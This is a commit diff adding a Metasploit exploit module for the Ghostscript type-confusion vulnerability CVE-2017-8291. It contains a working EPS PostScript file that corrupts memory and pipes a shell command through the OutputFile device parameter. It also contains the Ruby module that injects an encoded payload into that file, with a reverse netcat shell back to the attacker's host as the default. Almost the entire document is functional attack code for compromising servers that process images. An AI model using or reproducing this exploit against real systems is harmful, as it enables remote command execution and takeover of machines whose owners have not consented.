Quick Ghostscript module based on the public PoC
parent
5450e96204
commit
afc804fa03
|
@ -0,0 +1,101 @@
|
|||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
|
||||
/size_from 10000 def
|
||||
/size_step 500 def
|
||||
/size_to 65000 def
|
||||
/enlarge 1000 def
|
||||
|
||||
%/bigarr 65000 array def
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
pop
|
||||
1 add
|
||||
} for
|
||||
|
||||
/buffercount exch def
|
||||
|
||||
/buffersizes buffercount array def
|
||||
|
||||
|
||||
0
|
||||
size_from size_step size_to {
|
||||
buffersizes exch 2 index exch put
|
||||
1 add
|
||||
} for
|
||||
pop
|
||||
|
||||
/buffers buffercount array def
|
||||
|
||||
0 1 buffercount 1 sub {
|
||||
/ind exch def
|
||||
buffersizes ind get /cursize exch def
|
||||
cursize string /curbuf exch def
|
||||
buffers ind curbuf put
|
||||
cursize 16 sub 1 cursize 1 sub {
|
||||
curbuf exch 255 put
|
||||
} for
|
||||
} for
|
||||
|
||||
|
||||
/buffersearchvars [0 0 0 0 0] def
|
||||
/sdevice [0] def
|
||||
|
||||
enlarge array aload
|
||||
|
||||
{
|
||||
.eqproc
|
||||
buffersearchvars 0 buffersearchvars 0 get 1 add put
|
||||
buffersearchvars 1 0 put
|
||||
buffersearchvars 2 0 put
|
||||
buffercount {
|
||||
buffers buffersearchvars 1 get get
|
||||
buffersizes buffersearchvars 1 get get
|
||||
16 sub get
|
||||
254 le {
|
||||
buffersearchvars 2 1 put
|
||||
buffersearchvars 3 buffers buffersearchvars 1 get get put
|
||||
buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put
|
||||
} if
|
||||
buffersearchvars 1 buffersearchvars 1 get 1 add put
|
||||
} repeat
|
||||
|
||||
buffersearchvars 2 get 1 ge {
|
||||
exit
|
||||
} if
|
||||
%(.) print
|
||||
} loop
|
||||
|
||||
.eqproc
|
||||
.eqproc
|
||||
.eqproc
|
||||
sdevice 0
|
||||
currentdevice
|
||||
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
|
||||
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
|
||||
put
|
||||
|
||||
|
||||
buffersearchvars 0 get array aload
|
||||
|
||||
sdevice 0 get
|
||||
16#3e8 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3b0 0 put
|
||||
|
||||
sdevice 0 get
|
||||
16#3f0 0 put
|
||||
|
||||
|
||||
currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty)
|
||||
.putdeviceparams
|
||||
1 true .outputpage
|
||||
.rsdparams
|
||||
%{ } loop
|
||||
0 0 .quit
|
||||
%asdf
|
||||
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FILEFORMAT
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Ghostscript Type Confusion Arbitrary Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a type confusion vulnerability in Ghostscript that can
|
||||
be exploited to obtain arbitrary command execution. This vulnerability affects
|
||||
Ghostscript version 9.2.1 and earlier and can be exploited through libraries
|
||||
such as ImageMagick and Pillow.
|
||||
},
|
||||
'Author' => [
|
||||
'Atlassian Security Team', # Vulnerability discovery
|
||||
'hdm' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
%w{CVE 2017-8291},
|
||||
%w{URL https://bugs.ghostscript.com/show_bug.cgi?id=697808},
|
||||
%w{URL http://seclists.org/oss-sec/2017/q2/148},
|
||||
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d},
|
||||
%w{URL https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=4f83478c88c2e05d6e8d79ca4557eb039354d2f3}
|
||||
],
|
||||
'DisclosureDate' => 'Apr 27 2017',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => false,
|
||||
'Payload' => {
|
||||
'BadChars' => "\x22\x27\x5c)(", # ", ', \, (, and )
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd cmd_bash',
|
||||
'RequiredCmd' => 'generic netcat bash-tcp'
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['EPS file', template: 'msf.eps']
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'cmd/unix/reverse_netcat',
|
||||
'LHOST' => Rex::Socket.source_address,
|
||||
'DisablePayloadHandler' => false,
|
||||
'WfsDelay' => 9001
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('FILENAME', [true, 'Output file', 'msf.eps'])
|
||||
])
|
||||
end
|
||||
|
||||
# Example usage from the bug tracker:
|
||||
# $ gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f exploit2.eps
|
||||
|
||||
def exploit
|
||||
file_create(template.sub('echo vulnerable > /dev/tty', payload.encoded))
|
||||
end
|
||||
|
||||
def template
|
||||
::File.read(File.join(
|
||||
Msf::Config.data_directory, 'exploits', 'CVE-2017-8291',
|
||||
target[:template]
|
||||
))
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue